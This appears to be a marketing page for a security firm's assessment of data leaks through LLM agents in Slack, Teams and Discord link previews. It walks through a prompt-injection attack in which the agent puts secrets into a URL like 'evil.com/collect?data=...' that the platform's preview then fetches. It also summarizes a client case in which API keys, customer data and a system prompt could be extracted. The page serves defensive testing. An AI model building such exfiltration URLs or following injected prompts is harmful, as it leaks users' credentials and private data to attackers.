Critical LLM Security Gap

Does your LLM leak data
through Slack previews?

LLM agents in enterprise messaging apps can be tricked into embedding sensitive data in URLs. When Slack, Teams, or Discord previews those URLs, your data is sent to attacker-controlled servers.

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// How URL preview exfiltration works
1.Attacker sends crafted prompt to LLM agent in Slack channel
2.LLM reads sensitive context (API keys, customer data, internal docs)
3.LLM generates URL: https://evil.com/collect?data=BASE64_ENCODED_SECRETS
4.Slack/Teams/Discord automatically fetches URL to generate preview
5.Sensitive data exfiltrated to attacker's server via GET request
This attack bypasses traditional DLP, firewalls, and content filtering because the request originates from the messaging platform's own infrastructure.

Your DLP Can't See This

Traditional security tools weren't designed for LLM-specific exfiltration vectors. Here's what they miss.

🔍

Invisible to DLP

Data is encoded in URL parameters, not in message content. Your Data Loss Prevention tools see a normal URL, not the secrets inside it.

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Platform-Initiated Requests

The HTTP request comes from Slack/Teams infrastructure, not from a user device. IP-based blocking and network monitoring won't catch it.

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No User Visibility

The exfiltration happens in URL preview generation — an automated background process. No user sees or approves the outbound request.

How the Assessment Works

A thorough, manual security assessment — not an automated scan.

01

Discovery Call

We understand your LLM agent setup, messaging platforms, and what data the agents can access.

02

Environment Access

You grant us access to a test messaging environment with your LLM agents configured.

03

Manual Testing

We manually test every URL preview exfiltration vector across your specific agent configurations.

04

Executive Report

You receive a detailed report showing exactly what data could leak, with evidence and remediation steps.

05

Stakeholder Presentation

We present findings to your security and engineering teams with a clear remediation roadmap.

06

Verification Testing

After you implement fixes, we re-test to confirm all exfiltration vectors are closed.

What We Found: Series B SaaS Company

Anonymized results from a real assessment engagement.

exfilguard-report-2024-redacted.md
Company Profile

Series B SaaS company, 120 employees. Using a custom GPT-4 agent in Slack for customer support triage, connected to Zendesk and internal knowledge base.

Vulnerabilities Found
CRITICALAgent could be prompted to embed Zendesk API keys in generated URLs. Slack preview requests sent keys to external server.
HIGHCustomer PII (email, phone, account ID) from support tickets could be exfiltrated via crafted URL parameters in agent responses.
HIGHInternal knowledge base content (pricing tiers, unreleased features) extractable through URL-encoded agent outputs.
MEDIUMAgent system prompt fully extractable, revealing internal routing logic and escalation procedures.
Outcome

All 4 vulnerabilities remediated within 2 weeks. Verification testing confirmed zero exfiltration vectors remaining. Company implemented ongoing URL output monitoring.

Find Out What Your LLM Could Leak

Book a free 30-minute vulnerability assessment call. We'll walk through your setup and identify the highest-risk exfiltration vectors.

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23
Assessments completed
94%
Had at least 1 critical finding
100%
Successfully remediated